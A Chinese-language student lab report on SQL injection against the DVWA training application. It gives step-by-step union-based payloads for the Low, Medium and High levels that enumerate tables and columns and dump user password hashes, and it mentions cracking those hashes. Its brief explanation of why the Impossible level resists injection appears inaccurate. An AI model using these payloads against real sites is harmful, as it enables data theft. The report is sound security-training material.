【实验内容及要求】
一、内容:掌握SQL注入攻击的原理,掌握基本SQL注入攻击的方法,掌握防SQL注入攻击的基本措施。
二、要求:
- DVWA环境配置
DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。DVWA共有十个模块,分别是:Brute Force(暴力破解);Command Injection(命令行注入);CSRF(跨站请求伪造);File Inclusion(文件包含);File Upload(文件上传);Insecure CAPTCHA (不安全的验证码);SQL Injection(SQL注入);SQL Injection(Blind)(SQL盲注);XSS(Reflected)(反射型跨站脚本);XSS(Stored)(存储型跨站脚本)。在DVWA 1.9的代码分为四种安全级别:Low,Medium,High,Impossible,可以接触一些PHP代码审计的内容。
本实验要求在下载安装并配置好DVWA实验环境,在DVWA中创建数据库,并进行登录。
- SQL注入
在DVWA中选择SQL injection,其难度等级分为low、medium、high和impossible。随后根据自身情况进行四种等级的SQL注入实验。
- 亦可使用sqlmap来进行SQL注入攻击实验。
【实验平台】
【实验步骤】
一、实验环境的搭建
1.将DVWA安装包解压到如图所示相应位置,并备份修改config.inc.php.dist文件配置,然后将安装包解压。



2.更改文件夹权限,并重启apache服务。


3.登录搭建好的网站,更改配置,然后点击Create/Reset Database登录。

二、Low级别的SQL注入
判断注入点。
找闭合,输入1'报错"You have an error in your SQL syntax";输入1''不报错,说明闭合是单引号。
输入1' or '1234'='1234,获得所有First name和Surname。

输入1' or 1=1 order by 1 #,判断有几个字段;

输入1' or 1=1 order by 2 #;

输入1' or 1=1 order by 3 #,说明SQL语句查询查询的表的字段数为2。

输入1' union select 1,2 #,判断回显。

爆库,输入1' union select 1,database() #,判断使用的数据库。

爆表,输入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,获得该数据库的表名。

爆列,输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #,获得user表的列名。

输入1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,获得用户名和密码。

密码均为MD5加密,使用CMD5可进行破解。
三、Medium级别SQL注入
由于界面不允许自行输入,使用BurpSuite进行抓包。
更改为id=4 or 1=1 #&Submit=Submit可获得所有用户。

更改为id=4 order by 2 #&Submit=Submit确定列数。


更改为id=4 union select 1,2 #&Submit=Submit,判断回显。

更改为id=4 union select 1,database() #&Submit=Submit,爆库。

更改为id=4 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #&Submit=Submit,爆表。

更改为id=4 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #&Submit=Submit,爆列。(其中0x7573657273为users的十六进制ascii码)

更改为id=4 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #&Submit=Submit,获得用户名和密码。

四、High级别SQL注入
判断注入点。
找闭合,输入1'报错"You have an error in your SQL syntax";输入1''不报错,说明闭合是单引号。
输入1' or 1=1#,获得所有First name和Surname。

输入1' or 1=1 order by 2 #,判断有几个字段;

输入1' or 1=1 order by 3 #,说明SQL语句查询查询的表的字段数为2。

输入1' union select 1,2 #,判断回显。

爆库,输入1' union select 1,database() #,判断使用的数据库。

爆表,输入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,获得该数据库的表名。

爆列,输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #,获得user表的列名。

输入1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,获得用户名和密码。

五、Impossible级别
无法注入,因为Impossible级别的源码使用正则表达式过滤掉了不合法的字符。